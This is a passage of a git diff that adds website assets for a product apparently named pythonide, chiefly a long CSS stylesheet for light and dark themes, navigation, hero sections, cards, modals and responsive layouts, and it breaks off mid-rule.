--- /dev/null +++ b/docs/assets/brand-mark.svg @@ -0,0 +1,8 @@ + + + + + + + + diff --git a/docs/assets/pythonide-social-card.png b/docs/assets/pythonide-social-card.png new file mode 100644 index 0000000..ff6a313 Binary files /dev/null and b/docs/assets/pythonide-social-card.png differ diff --git a/docs/assets/site.css b/docs/assets/site.css new file mode 100644 index 0000000..ea5aee1 --- /dev/null +++ b/docs/assets/site.css @@ -0,0 +1,689 @@ +:root { + color-scheme: light dark; + --bg: #ffffff; + --surface: #ffffff; + --surface-soft: #f7f7f5; + --surface-strong: #ededeb; + --ink: #0d0d0d; + --text: #2f2f2f; + --muted: #6f6f6f; + --faint: #929292; + --line: rgba(13, 13, 13, 0.12); + --line-strong: rgba(13, 13, 13, 0.22); + --inverse: #0d0d0d; + --inverse-text: #ffffff; + --success: #08783e; + --warning: #8b5d00; + --danger: #b42318; + --shadow: 0 18px 50px rgba(0, 0, 0, 0.07); + --shadow-soft: 0 8px 24px rgba(0, 0, 0, 0.05); + --radius-sm: 12px; + --radius: 20px; + --radius-lg: 30px; + --page: 1120px; + --reading: 760px; + --ease: cubic-bezier(0.22, 1, 0.36, 1); + --nav-control: 38px; + --font: -apple-system, BlinkMacSystemFont, "SF Pro Text", "Helvetica Neue", Arial, "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei", sans-serif; + --mono: "SF Mono", "SFMono-Regular", ui-monospace, Menlo, Monaco, Consolas, monospace; + font-family: var(--font); +} + +html[data-theme="dark"] { + --bg: #171717; + --surface: #202020; + --surface-soft: #242424; + --surface-strong: #303030; + --ink: #f5f5f5; + --text: #dfdfdf; + --muted: #a6a6a6; + --faint: #858585; + --line: rgba(255, 255, 255, 0.12); + --line-strong: rgba(255, 255, 255, 0.22); + --inverse: #f5f5f5; + --inverse-text: #111111; + --success: #52bd7a; + --warning: #e0aa52; + --danger: #ff8b82; + --shadow: 0 20px 55px rgba(0, 0, 0, 0.32); + --shadow-soft: 0 8px 24px rgba(0, 0, 0, 0.24); +} + +@media (prefers-color-scheme: dark) { + html:not([data-theme="light"]) { + --bg: #171717; + --surface: #202020; + --surface-soft: #242424; + --surface-strong: #303030; + --ink: #f5f5f5; + --text: #dfdfdf; + --muted: #a6a6a6; + --faint: #858585; + --line: rgba(255, 255, 255, 0.12); + --line-strong: rgba(255, 255, 255, 0.22); + --inverse: #f5f5f5; + --inverse-text: #111111; + --success: #52bd7a; + --warning: #e0aa52; + --danger: #ff8b82; + --shadow: 0 20px 55px rgba(0, 0, 0, 0.32); + --shadow-soft: 0 8px 24px rgba(0, 0, 0, 0.24); + } +} + +* { box-sizing: border-box; } + +html { + min-height: 100%; + background: var(--bg); + scroll-behavior: smooth; + scroll-padding-top: 88px; +} + +body { + margin: 0; + min-height: 100vh; + min-height: 100dvh; + background: var(--bg); + color: var(--text); + font-family: var(--font); + -webkit-font-smoothing: antialiased; + text-rendering: optimizeLegibility; + transition: background-color 280ms var(--ease), color 280ms var(--ease); +} + +body::before { + content: ""; + position: fixed; + inset: 0 0 auto; + height: 340px; + z-index: 0; + pointer-events: none; + background: radial-gradient(70% 90% at 50% -20%, rgba(127, 127, 127, 0.12), transparent 72%); +} + +::selection { background: var(--ink); color: var(--bg); } + +/* Website deployment */ +.website-hero { position: relative; display: flex; align-items: center; min-height: min(700px, calc(100svh - 62px)); border-bottom: 1px solid var(--line); background: var(--bg); color: var(--text); } +.website-hero-content { padding-block: 88px 72px; } +.website-hero-content > * { max-width: 760px; } +.website-hero .kicker { color: var(--faint); } +.website-display { margin: 14px 0 22px; max-width: 820px; color: var(--ink); font-size: clamp(48px, 6.2vw, 80px); line-height: 1.02; letter-spacing: 0; font-weight: 620; text-wrap: balance; } +.website-lede { margin: 0; max-width: 690px; color: var(--muted); font-size: clamp(18px, 2vw, 22px); line-height: 1.58; } +.website-hero .button-row { margin-top: 32px; } +.website-hero-route { display: grid; grid-template-columns: repeat(4, minmax(150px, 1fr)); max-width: 940px; margin-top: 64px; overflow-x: auto; border-block: 1px solid var(--line-strong); scrollbar-width: none; } +.website-hero-route::-webkit-scrollbar { display: none; } +.website-hero-route > div { position: relative; min-width: 150px; padding: 18px 42px 18px 0; } +.website-hero-route > div:not(:last-child)::after { content: "→"; position: absolute; top: 50%; right: 18px; color: var(--faint); transform: translateY(-50%); } +.website-hero-route span { display: block; margin-bottom: 7px; color: var(--faint); font-family: var(--mono); font-size: 11px; } +.website-hero-route strong { color: var(--ink); font-size: 14px; font-weight: 590; white-space: nowrap; } +.website-workflow { scroll-margin-top: 72px; } +.website-steps { border-top: 1px solid var(--line-strong); } +.website-step { display: grid; grid-template-columns: 88px minmax(0, 1fr); gap: 22px; padding: 34px 0; border-bottom: 1px solid var(--line); } +.website-step-number { color: var(--faint); font-family: var(--mono); font-size: 13px; padding-top: 4px; } +.website-step h3 { margin: 0 0 9px; color: var(--ink); font-size: clamp(24px, 3vw, 36px); font-weight: 590; letter-spacing: 0; } +.website-step p { margin: 0; max-width: 760px; color: var(--muted); font-size: 17px; line-height: 1.68; } +.website-case-grid { display: grid; grid-template-columns: repeat(2, minmax(0, 1fr)); border-top: 1px solid var(--line-strong); } +.website-case-grid article { min-height: 250px; padding: 30px 36px 34px 0; border-bottom: 1px solid var(--line); } +.website-case-grid article:nth-child(odd) { border-right: 1px solid var(--line); padding-right: 44px; } +.website-case-grid article:nth-child(even) { padding-left: 44px; } +.website-case-grid span { color: var(--faint); font-family: var(--mono); font-size: 13px; } +.website-case-grid h3 { margin: 54px 0 9px; color: var(--ink); font-size: 25px; font-weight: 590; letter-spacing: 0; } +.website-case-grid p { margin: 0; color: var(--muted); line-height: 1.65; } +.website-detail-grid { display: grid; grid-template-columns: minmax(0, .88fr) minmax(420px, 1.12fr); gap: 84px; align-items: start; } +.website-detail-list { border-top: 1px solid var(--line-strong); } +.website-detail-list > div { padding: 24px 0 26px; border-bottom: 1px solid var(--line); } +.website-detail-list strong { display: block; color: var(--ink); font-size: 18px; font-weight: 620; } +.website-detail-list p { margin: 8px 0 0; color: var(--muted); line-height: 1.65; } +.website-cta .section-copy { margin-top: 18px; } + +@media (max-width: 820px) { + .website-hero { min-height: auto; } + .website-hero-content { padding-block: 72px 58px; } + .website-display { font-size: clamp(42px, 11vw, 62px); } + .website-hero-route { margin-top: 52px; } + .website-case-grid, .website-detail-grid { grid-template-columns: 1fr; } + .website-detail-grid { gap: 42px; } + .website-case-grid article:nth-child(odd), .website-case-grid article:nth-child(even) { border-right: 0; padding: 28px 0 30px; min-height: 210px; } + .website-case-grid h3 { margin-top: 34px; } +} + +@media (max-width: 520px) { + .website-hero-content { padding-block: 54px 46px; } + .website-display { font-size: 40px; } + .website-hero .button-row { align-items: stretch; } + .website-hero .button { width: 100%; } + .website-hero-route { grid-template-columns: repeat(2, minmax(0, 1fr)); width: auto; margin-top: 42px; overflow: visible; } + .website-hero-route > div { min-width: 0; padding: 16px 0; } + .website-hero-route > div:nth-child(odd) { padding-right: 18px; } + .website-hero-route > div:nth-child(even) { padding-left: 18px; border-left: 1px solid var(--line); } + .website-hero-route > div:nth-child(-n+2) { border-bottom: 1px solid var(--line); } + .website-hero-route > div:not(:last-child)::after { display: none; } + .website-step { grid-template-columns: 48px minmax(0, 1fr); gap: 14px; padding: 28px 0; } +} + +a { color: inherit; text-decoration: none; } +button, input, textarea, select { color: inherit; font: inherit; } +button { cursor: pointer; } +img, svg { display: block; max-width: 100%; } + +.skip-link { + position: fixed; + left: 16px; + top: 12px; + z-index: 100; + transform: translateY(-150%); + padding: 10px 14px; + border-radius: 999px; + background: var(--inverse); + color: var(--inverse-text); +} +.skip-link:focus { transform: none; } + +.page { min-height: 100vh; min-height: 100dvh; display: flex; flex-direction: column; } +.shell { width: min(var(--page), calc(100% - 40px)); margin-inline: auto; } +.reading { width: min(var(--reading), 100%); margin-inline: auto; } + +.site-header { + position: sticky; + top: 0; + z-index: 50; + border-bottom: 1px solid var(--line); + background: color-mix(in srgb, var(--bg) 84%, transparent); + backdrop-filter: blur(18px) saturate(140%); + -webkit-backdrop-filter: blur(18px) saturate(140%); + transition: box-shadow 180ms ease, background 180ms ease; +} +.site-header.is-scrolled { box-shadow: 0 1px 0 var(--line), 0 8px 26px rgba(0, 0, 0, .04); } + +.nav { + width: min(var(--page), calc(100% - 32px)); + min-height: 62px; + margin-inline: auto; + display: flex; + align-items: center; + gap: 12px; +} + +.brand { display: inline-flex; align-items: center; gap: 10px; flex: 0 0 auto; font-size: 17px; font-weight: 650; letter-spacing: -.02em; } +.brand-mark { width: 28px; height: 28px; border-radius: 8px; } + +.nav-links { position: relative; display: flex; align-items: center; gap: 3px; margin-left: auto; } +.nav-active-pill { + position: absolute; + z-index: 0; + top: 0; + left: 0; + height: var(--nav-control); + border-radius: 999px; + background: var(--surface-soft); + pointer-events: none; + opacity: 0; + transform: translateX(var(--pill-x, 0)); + width: var(--pill-width, 0); + transition: width 300ms var(--ease), transform 340ms var(--ease), opacity 180ms ease, background-color 280ms var(--ease); +} +.nav-links.has-active-pill .nav-active-pill { opacity: 1; } +.nav-link { + position: relative; + z-index: 1; + display: inline-flex; + align-items: center; + justify-content: center; + height: var(--nav-control); + min-height: var(--nav-control); + padding: 0 12px; + border-radius: 999px; + color: var(--muted); + font-size: 14px; + font-weight: 520; + transition: background 180ms ease, color 180ms ease, transform 180ms var(--ease); +} +.nav-link:hover, .nav-link[aria-current="page"] { color: var(--ink); background: var(--surface-soft); } +.nav-links.has-active-pill .nav-link:hover, +.nav-links.has-active-pill .nav-link[aria-current="page"] { background: transparent; } +.nav-link:active { transform: scale(.96); } +.nav-external::after { content: "↗"; margin-left: 5px; font-size: 11px; opacity: .62; } +.nav-download { + height: var(--nav-control); + min-height: var(--nav-control); + margin-left: 6px; + padding-inline: 15px; + font-size: 14px; +} + +.nav-actions { display: flex; align-items: center; gap: 6px; } +.icon-button, .menu-button { + width: var(--nav-control); + height: var(--nav-control); + display: inline-grid; + place-items: center; + border: 1px solid var(--line); + border-radius: 999px; + background: var(--surface); + transition: transform 180ms var(--ease), background 180ms ease, border-color 180ms ease; +} +.icon-button:hover, .menu-button:hover { background: var(--surface-soft); border-color: var(--line-strong); } +.icon-button:active, .menu-button:active { transform: scale(.92); } +.icon-button svg, .menu-button svg { width: 16px; height: 16px; stroke-width: 1.8; } +.menu-button { display: none; } +.menu-glyph { position: relative; width: 17px; height: 14px; display: block; } +.menu-line { position: absolute; left: 0; width: 17px; height: 1.5px; border-radius: 999px; background: currentColor; transition: transform 320ms var(--ease), opacity 180ms ease, top 320ms var(--ease); } +.menu-line:nth-child(1) { top: 1px; } +.menu-line:nth-child(2) { top: 6px; } +.menu-line:nth-child(3) { top: 11px; } +.menu-button[aria-expanded="true"] .menu-line:nth-child(1) { top: 6px; transform: rotate(45deg); } +.menu-button[aria-expanded="true"] .menu-line:nth-child(2) { opacity: 0; transform: scaleX(.3); } +.menu-button[aria-expanded="true"] .menu-line:nth-child(3) { top: 6px; transform: rotate(-45deg); } +.nav-backdrop { + position: fixed; + inset: 58px 0 0; + z-index: 40; + border: 0; + background: rgba(0, 0, 0, .18); + opacity: 0; + visibility: hidden; + pointer-events: none; + backdrop-filter: blur(2px); + -webkit-backdrop-filter: blur(2px); + transition: opacity 220ms ease, visibility 220ms ease; +} +body.nav-is-open .nav-backdrop { opacity: 1; visibility: visible; pointer-events: auto; } + +.language-toggle { + position: relative; + isolation: isolate; + overflow: hidden; + display: inline-grid; + grid-template-columns: 1fr 1fr; + width: 78px; + height: var(--nav-control); + padding: 3px; + border: 1px solid var(--line); + border-radius: 999px; + background: var(--surface); +} +.language-toggle::before { + content: ""; + position: absolute; + z-index: 0; + top: 3px; + bottom: 3px; + left: 3px; + width: calc((100% - 6px) / 2); + border-radius: 999px; + background: var(--inverse); + box-shadow: 0 1px 3px rgba(0, 0, 0, .12); + transform: translateX(0); + transition: transform 320ms var(--ease), background-color 280ms var(--ease), box-shadow 280ms var(--ease); +} +html[data-lang="en"] .language-toggle::before { transform: translateX(100%); } +.language-toggle button { position: relative; z-index: 1; border: 0; border-radius: 999px; background: transparent; color: var(--muted); font-size: 11px; font-weight: 700; transition: color 220ms ease, transform 180ms var(--ease); } +.language-toggle button:hover:not([aria-pressed="true"]) { color: var(--ink); } +.language-toggle button:active { transform: scale(.92); } +.language-toggle button[aria-pressed="true"] { color: var(--inverse-text); background: transparent; } +html.is-language-switching .language-toggle { pointer-events: none; } + +.icon-button .theme-icon { + grid-area: 1 / 1; + transition: opacity 220ms ease, transform 360ms var(--ease); +} +.icon-button .theme-icon-sun { opacity: 0; transform: rotate(-70deg) scale(.55); } +html[data-theme="dark"] .icon-button .theme-icon-moon { opacity: 0; transform: rotate(70deg) scale(.55); } +html[data-theme="dark"] .icon-button .theme-icon-sun { opacity: 1; transform: rotate(0) scale(1); } + +.site-header, .feature-card, .link-card, .quick-start-card, .support-card, .invite-card, +.button, .icon-button, .menu-button, .language-toggle, .command-box, .command-copy, +.toc a, .notice, .modal { + transition-property: background-color, color, border-color, box-shadow, transform, opacity; + transition-duration: 280ms; + transition-timing-function: var(--ease); +} + +.main { flex: 1; } +.hero { padding: clamp(60px, 7.5vw, 96px) 0 clamp(50px, 6.5vw, 78px); } +.hero.compact { padding-block: clamp(50px, 6vw, 72px) clamp(42px, 5vw, 60px); } +.hero-center { max-width: var(--page); margin-inline: auto; text-align: left; } +.document-hero .hero-center { display: grid; grid-template-columns: 220px minmax(0, 1fr); gap: clamp(40px, 7vw, 88px); } +.document-hero .hero-copy { grid-column: 2; max-width: 780px; } +.kicker { margin: 0 0 18px; color: var(--muted); font-size: 14px; font-weight: 650; letter-spacing: .08em; text-transform: uppercase; } +.display { margin: 0; color: var(--ink); font-size: clamp(42px, 6.8vw, 78px); line-height: 1.04; letter-spacing: -.052em; font-weight: 620; } +.display.medium { font-size: clamp(38px, 5.2vw, 62px); } +.display.small { font-size: clamp(34px, 4.4vw, 52px); } +.title-line { display: block; } +.lede { max-width: 720px; margin: 26px 0 0; color: var(--muted); font-size: clamp(18px, 2vw, 22px); line-height: 1.62; letter-spacing: -.015em; } +.hero-meta { margin-top: 22px; color: var(--faint); font-size: 14px; } +.hero-center .button-row { justify-content: flex-start; } + +.button-row { display: flex; flex-wrap: wrap; justify-content: center; gap: 10px; margin-top: 34px; } +.button { + min-height: 48px; + padding: 0 21px; + border: 1px solid var(--line-strong); + border-radius: 999px; + display: inline-flex; + align-items: center; + justify-content: center; + gap: 9px; + background: var(--surface); + color: var(--ink); + font-size: 15px; + font-weight: 630; + text-align: center; + transition: transform 220ms var(--ease), background 180ms ease, border-color 180ms ease; +} +.button:hover { transform: translateY(-2px); border-color: var(--ink); } +.button:active { transform: translateY(0) scale(.97); } +.button.primary { background: var(--inverse); color: var(--inverse-text); border-color: var(--inverse); } +.button.primary:hover { opacity: .9; } +.button.quiet { border-color: transparent; background: var(--surface-soft); } +.button svg { width: 18px; height: 18px; stroke-width: 1.8; } +.button[disabled] { opacity: .48; pointer-events: none; } +.nav .nav-download { height: var(--nav-control); min-height: var(--nav-control); } + +.quick-start { padding: 0 0 clamp(56px, 8vw, 92px); } +.quick-start-head { max-width: 720px; margin-bottom: 28px; } +.quick-start-head .section-label { margin: 0 0 12px; } +.quick-start-head h2 { max-width: 620px; margin: 0; color: var(--ink); font-size: clamp(26px, 3.2vw, 40px); line-height: 1.12; letter-spacing: -.04em; font-weight: 620; text-align: left; } +.quick-start-grid { display: grid; grid-template-columns: repeat(3, minmax(0, 1fr)); gap: 12px; } +.quick-start-card { + min-height: 330px; + padding: 24px; + border: 1px solid var(--line); + border-radius: var(--radius); + background: var(--surface); + color: var(--ink); + display: flex; + flex-direction: column; + justify-content: space-between; + gap: 28px; + transition: transform 240ms var(--ease), border-color 180ms ease, box-shadow 240ms var(--ease), background 180ms ease; +} +a.quick-start-card:hover { transform: translateY(-3px); border-color: var(--line-strong); box-shadow: var(--shadow-soft); } +a.quick-start-card:active { transform: translateY(0) scale(.985); } +.quick-start-top { display: flex; align-items: center; justify-content: space-between; gap: 12px; } +.quick-start-index { color: var(--faint); font-family: var(--mono); font-size: 12px; } +.quick-start-tag { min-height: 28px; padding: 0 10px; border-radius: 999px; background: var(--surface-soft); color: var(--muted); display: inline-flex; align-items: center; font-size: 11px; font-weight: 680; letter-spacing: .03em; } +.quick-start-card h3 { margin: 0 0 10px; color: var(--ink); font-size: 22px; line-height: 1.18; letter-spacing: -.03em; } +.quick-start-card p { margin: 0; color: var(--muted); font-size: 15px; line-height: 1.65; } +.command-box { min-width: 0; padding: 10px 10px 10px 14px; border: 1px solid var(--line); border-radius: 14px; background: var(--surface-soft); display: grid; grid-template-columns: minmax(0, 1fr) 36px; align-items: center; gap: 8px; } +.command-box code { overflow: hidden; color: var(--text); font-family: var(--mono); font-size: 11px; line-height: 1.45; text-overflow: ellipsis; white-space: nowrap; } +.command-copy { width: 36px; height: 36px; border: 0; border-radius: 10px; background: var(--surface); color: var(--muted); display: grid; place-items: center; transition: transform 180ms var(--ease), color 180ms ease, background 180ms ease; } +.command-copy:hover { color: var(--ink); background: var(--bg); } +.command-copy:active { transform: scale(.9); } +.command-copy svg { width: 17px; height: 17px; stroke-width: 1.7; } +.text-link, .card-action { min-height: 28px; color: var(--ink); display: inline-flex; align-items: center; justify-content: space-between; gap: 12px; font-size: 13px; font-weight: 650; } +.text-link { width: 100%; } +.text-link span:last-child, .card-action span:last-child, .link-card .arrow { transition: transform 200ms var(--ease); } +.text-link:hover span:last-child { transform: translateX(4px); } +a.quick-start-card:hover .card-action span:last-child, a.link-card:hover .arrow { transform: translate(3px, -3px); } + +.section { padding: clamp(56px, 8vw, 96px) 0; border-top: 1px solid var(--line); } +.section.soft { background: var(--surface-soft); } +.section-head { max-width: 720px; margin-bottom: 38px; } +.section-head.center { text-align: left; margin-inline: 0; } +.section-label { margin: 0 0 12px; color: var(--muted); font-size: 13px; font-weight: 680; letter-spacing: .09em; text-transform: uppercase; } +.section-title { margin: 0; color: var(--ink); font-size: clamp(30px, 3.6vw, 46px); line-height: 1.14; letter-spacing: -.04em; font-weight: 620; } +.section-copy { margin: 18px 0 0; color: var(--muted); font-size: 18px; line-height: 1.7; } + +.feature-grid { display: grid; grid-template-columns: repeat(3, minmax(0, 1fr)); gap: 14px; } +.feature-card, .link-card { + border: 1px solid var(--line); + border-radius: var(--radius); + background: var(--surface); + padding: 26px; + transition: transform 260ms var(--ease), border-color 180ms ease, box-shadow 260ms ease; +} +.feature-card:hover, a.link-card:hover { transform: translateY(-3px); border-color: var(--line-strong); box-shadow: var(--shadow-soft); } +.card-icon { width: 42px; height: 42px; display: grid; place-items: center; border-radius: 13px; background: var(--surface-soft); color: var(--ink); } +.card-icon svg { width: 21px; height: 21px; stroke-width: 1.7; } +.feature-card h3, .link-card h3 { margin: 38px 0 10px; color: var(--ink); font-size: 20px; letter-spacing: -.025em; } +.feature-card p, .link-card p { margin: 0; color: var(--muted); line-height: 1.65; } +.feature-index { display: inline-flex; color: var(--faint); font-family: var(--mono); font-size: 12px; letter-spacing: .04em; } +.feature-index + h3 { margin-top: 30px; } + +.link-grid { display: grid; grid-template-columns: repeat(2, minmax(0, 1fr)); gap: 12px; } +.link-card { display: grid; grid-template-columns: 1fr auto; gap: 20px; align-items: end; min-height: 190px; } +.link-card h3 { margin-top: 0; } +.link-card .arrow { color: var(--muted); font-size: 28px; line-height: 1; } +.link-card.wide { grid-column: 1 / -1; min-height: 160px; } + +.stats { display: grid; grid-template-columns: repeat(4, 1fr); border-block: 1px solid var(--line); } +.stat { padding: 28px 18px; text-align: center; border-right: 1px solid var(--line); } +.stat:last-child { border-right: 0; } +.stat strong { display: block; color: var(--ink); font-size: clamp(25px, 3vw, 38px); letter-spacing: -.04em; } +.stat span { display: block; margin-top: 5px; color: var(--muted); font-size: 13px; } + +.document-layout { display: grid; grid-template-columns: 220px minmax(0, 1fr); gap: clamp(40px, 7vw, 88px); align-items: start; padding-bottom: 96px; } +.toc { position: sticky; top: 92px; padding-top: 8px; } +.toc-title { margin: 0 0 14px; color: var(--ink); font-size: 13px; font-weight: 680; } +.toc a { display: block; padding: 7px 0; color: var(--muted); font-size: 13px; line-height: 1.35; } +.toc a:hover { color: var(--ink); } + +.article { min-width: 0; max-width: 780px; } +.article-section { padding: 36px 0; border-top: 1px solid var(--line); } +.article-section:first-child { padding-top: 0; border-top: 0; } +.article h2 { margin: 0 0 18px; color: var(--ink); font-size: clamp(25px, 3vw, 34px); line-height: 1.18; letter-spacing: -.035em; } +.article h3 { margin: 28px 0 10px; color: var(--ink); font-size: 18px; line-height: 1.35; } +.article p, .article li { color: var(--text); font-size: 16px; line-height: 1.82; } +.article p { margin: 12px 0; } +.article ul, .article ol { margin: 14px 0; padding-left: 1.35em; } +.article li + li { margin-top: 8px; } +.article a:not(.button) { color: var(--ink); text-decoration: underline; text-decoration-color: var(--line-strong); text-underline-offset: 4px; } +.article strong { color: var(--ink); font-weight: 650; } +.article code { font-family: var(--mono); font-size: .9em; padding: .1em .35em; border-radius: 6px; background: var(--surface-soft); } + +.notice { margin: 24px 0; padding: 18px 20px; border: 1px solid var(--line); border-radius: var(--radius-sm); background: var(--surface-soft); } +.notice strong { display: block; margin-bottom: 5px; } +.notice p { margin: 0; color: var(--muted); } +.notice.warning { border-color: color-mix(in srgb, var(--warning) 40%, var(--line)); } +.notice.danger { border-color: color-mix(in srgb, var(--danger) 40%, var(--line)); } + +.info-list { display: grid; border-top: 1px solid var(--line); } +.info-row { display: grid; grid-template-columns: minmax(140px, .8fr) minmax(0, 1.7fr); gap: 28px; padding: 19px 0; border-bottom: 1px solid var(--line); } +.info-row strong { color: var(--ink); } +.info-row span { color: var(--muted); line-height: 1.6; } + +.faq { border-top: 1px solid var(--line); } +.faq details { border-bottom: 1px solid var(--line); } +.faq summary { list-style: none; padding: 22px 42px 22px 0; color: var(--ink); font-weight: 620; cursor: pointer; position: relative; } +.faq summary::-webkit-details-marker { display: none; } +.faq summary::after { content: "+"; position: absolute; right: 4px; top: 19px; font-size: 22px; color: var(--muted); transition: transform 200ms ease; } +.faq details[open] summary::after { transform: rotate(45deg); } +.faq details > div { padding: 0 0 22px; color: var(--muted); line-height: 1.75; } + +.step-list { display: grid; gap: 0; border-top: 1px solid var(--line); } +.step { display: grid; grid-template-columns: 42px 1fr; gap: 16px; padding: 22px 0; border-bottom: 1px solid var(--line); } +.step-number { width: 34px; height: 34px; display: grid; place-items: center; border-radius: 999px; background: var(--inverse); color: var(--inverse-text); font-size: 13px; font-weight: 700; } +.step strong { display: block; color: var(--ink); } +.step span { display: block; margin-top: 5px; color: var(--muted); line-height: 1.55; } + +.support-grid { display: grid; grid-template-columns: repeat(3, 1fr); gap: 12px; } +.support-card { min-height: 220px; display: flex; flex-direction: column; padding: 24px; border: 1px solid var(--line); border-radius: var(--radius); background: var(--surface); transition: transform 260ms var(--ease), border-color 180ms ease, box-shadow 260ms ease, background-color 280ms var(--ease); } +a.support-card:hover { transform: translateY(-3px); border-color: var(--line-strong); box-shadow: var(--shadow-soft); } +a.support-card:active { transform: translateY(0) scale(.985); } +.support-card h3 { margin: 28px 0 8px; color: var(--ink); font-size: 19px; } +.support-card p { margin: 0; color: var(--muted); line-height: 1.6; } +.support-card .card-action { margin-top: auto; padding-top: 22px; color: var(--ink); font-size: 14px; font-weight: 650; } + +.invite-wrap { max-width: 980px; margin-inline: auto; } +.invite-page .main { display: flex; align-items: center; } +.invite-page .hero { width: 100%; padding-block: clamp(34px, 6vw, 72px); } +.invite-kicker { margin: 0; color: var(--muted); font-size: 14px; font-weight: 650; } +.invite-summary { margin: 0; color: var(--muted); font-size: 16px; line-height: 1.62; } +.invite-text-links { display: flex; flex-wrap: wrap; gap: 8px 16px; margin-top: 18px; color: var(--muted); font-size: 13px; } +.invite-text-links a, .invite-text-links button { padding: 0; border: 0; background: transparent; color: inherit; text-decoration: underline; text-decoration-color: var(--line-strong); text-underline-offset: 4px; } +.invite-card { display: grid; grid-template-columns: minmax(0, 1.05fr) minmax(320px, .95fr); border: 1px solid var(--line); border-radius: var(--radius-lg); overflow: hidden; background: var(--surface); box-shadow: var(--shadow); } +.invite-primary, .invite-secondary { padding: clamp(28px, 5vw, 54px); } +.invite-secondary { border-left: 1px solid var(--line); background: var(--surface-soft); } +.invite-code { margin: 30px 0 18px; color: var(--ink); font-family: var(--mono); font-size: clamp(46px, 7vw, 76px); font-weight: 540; letter-spacing: .12em; line-height: 1; overflow-wrap: anywhere; } +.invite-code.is-empty { font-family: var(--font); font-size: clamp(38px, 5vw, 58px); letter-spacing: -.045em; } +.invite-actions { display: grid; grid-template-columns: 1fr 1fr; gap: 9px; margin-top: 30px; } +.invite-actions .button { width: 100%; } +.invite-actions .button span { white-space: nowrap; } +.invite-actions .button svg { flex: 0 0 auto; } +.mini-title { margin: 0 0 18px; color: var(--ink); font-size: 20px; letter-spacing: -.025em; } +.compact-list { display: grid; gap: 14px; } +.compact-item { display: grid; grid-template-columns: 28px 1fr; gap: 12px; align-items: start; } +.compact-item .dot { width: 24px; height: 24px; display: grid; place-items: center; border: 1px solid var(--line-strong); border-radius: 999px; color: var(--muted); font-size: 11px; font-weight: 700; } +.compact-item strong { display: block; color: var(--ink); font-size: 14px; } +.compact-item span { display: block; margin-top: 3px; color: var(--muted); font-size: 13px; line-height: 1.45; } + +.cta-band { padding: clamp(56px, 9vw, 96px) 0; text-align: center; } +.cta-band .section-title { max-width: 760px; margin-inline: auto; } +.cta-band .button-row { justify-content: center; } + +.site-footer { border-top: 1px solid var(--line); padding: 44px 0 max(34px, env(safe-area-inset-bottom)); } +.footer-grid { display: grid; grid-template-columns: 1.6fr repeat(3, 1fr); gap: 32px; } +.footer-brand p { max-width: 300px; margin: 14px 0 0; color: var(--muted); font-size: 13px; line-height: 1.65; } +.footer-col strong { display: block; margin-bottom: 12px; color: var(--ink); font-size: 13px; } +.footer-col a { display: block; width: fit-content; margin: 8px 0; color: var(--muted); font-size: 13px; } +.footer-col a:hover { color: var(--ink); } +.footer-bottom { display: flex; justify-content: space-between; gap: 20px; margin-top: 38px; padding-top: 20px; border-top: 1px solid var(--line); color: var(--faint); font-size: 12px; } + +.toast { position: fixed; left: 50%; bottom: max(24px, env(safe-area-inset-bottom)); z-index: 100; transform: translate(-50%, 20px); opacity: 0; pointer-events: none; padding: 11px 16px; border-radius: 999px; background: var(--inverse); color: var(--inverse-text); font-size: 13px; box-shadow: var(--shadow); transition: opacity 180ms ease, transform 240ms var(--ease); } +.toast.show { opacity: 1; transform: translate(-50%, 0); } + +.modal-backdrop { position: fixed; inset: 0; z-index: 90; display: grid; place-items: end center; padding: 20px; background: rgba(0, 0, 0, .42); backdrop-filter: blur(4px); -webkit-backdrop-filter: blur(4px); } +.modal-backdrop[hidden] { display: none; } +.modal { width: min(520px, 100%); padding: 24px; border-radius: 26px; background: var(--surface); box-shadow: 0 24px 80px rgba(0, 0, 0, .28); } +.modal h2 { margin: 0; color: var(--ink); font-size: 23px; letter-spacing: -.03em; } +.modal p { margin: 10px 0 22px; color: var(--muted); line-height: 1.6; } +.modal-actions { display: grid; grid-template-columns: 1fr 1fr; gap: 9px; } +.modal-actions .button { width: 100%; } + +.error-code { font-family: var(--mono); font-size: clamp(80px, 17vw, 180px); color: var(--ink); letter-spacing: -.08em; line-height: .8; } + +.motion-ready .enter { animation: enter 620ms var(--ease) both; animation-delay: var(--delay, 0ms); } +@keyframes enter { from { transform: translateY(8px); } to { transform: none; } } + +:focus-visible { outline: 2px solid var(--ink); outline-offset: 3px; } +.icon-button:focus-visible, .menu-button:focus-visible, .language-toggle button:focus-visible { outline: 0; box-shadow: 0 0 0 3px color-mix(in srgb, var(--ink) 18%, transparent); } + +@media (max-width: 920px) { + .feature-grid, .support-grid { grid-template-columns: repeat(2, minmax(0, 1fr)); } + .quick-start-grid { grid-template-columns: 1fr 1fr; } + .skill-card { grid-column: 1 / -1; min-height: 280px; } + .invite-card { grid-template-columns: 1fr; } + .invite-secondary { border-left: 0; border-top: 1px solid var(--line); } + .footer-grid { grid-template-columns: 1.3fr repeat(2, 1fr); } + .footer-col:last-of-type { grid-column: 2; } +} + +@media (max-width: 780px) { + .shell { width: min(100% - 28px, var(--page)); } + .nav { width: calc(100% - 24px); min-height: 58px; } + .brand span { font-size: 16px; } + .nav-actions { margin-left: auto; } + .nav-links { + position: absolute; + left: 12px; + right: 12px; + top: calc(100% + 8px); + display: flex; + margin: 0; + padding: 8px; + flex-direction: column; + align-items: stretch; + border: 1px solid var(--line); + border-radius: 18px; + background: var(--surface); + box-shadow: var(--shadow); + opacity: 0; + visibility: hidden; + pointer-events: none; + transform: translateY(-8px) scale(.985); + transform-origin: top center; + transition: opacity 200ms ease, transform 260ms var(--ease), visibility 200ms ease, background-color 280ms var(--ease), border-color 280ms var(--ease); + } + .nav-links[data-open="true"] { opacity: 1; visibility: visible; pointer-events: auto; transform: none; } + .nav-active-pill { display: none; } + .nav-links.has-active-pill .nav-link[aria-current="page"] { background: var(--surface-soft); } + .nav-link { width: 100%; height: 44px; min-height: 44px; padding-inline: 14px; justify-content: flex-start; } + .nav .nav-download { width: 100%; height: 44px; min-height: 44px; margin: 4px 0 0; } + .menu-button { display: inline-grid; } + .language-toggle { width: 70px; } + body.nav-is-open { overflow: hidden; } + .hero { padding-block: 48px 48px; } + .hero.compact { padding-block: 42px 38px; } + .document-hero .hero-center { display: block; } + .quick-start-head .section-label { margin-bottom: 10px; } + .display { font-size: clamp(38px, 11vw, 50px); line-height: 1.1; letter-spacing: -.045em; } + .display.medium { font-size: clamp(36px, 10.5vw, 46px); } + .display.small { font-size: clamp(34px, 9.5vw, 42px); } + .about-hero .display { font-size: 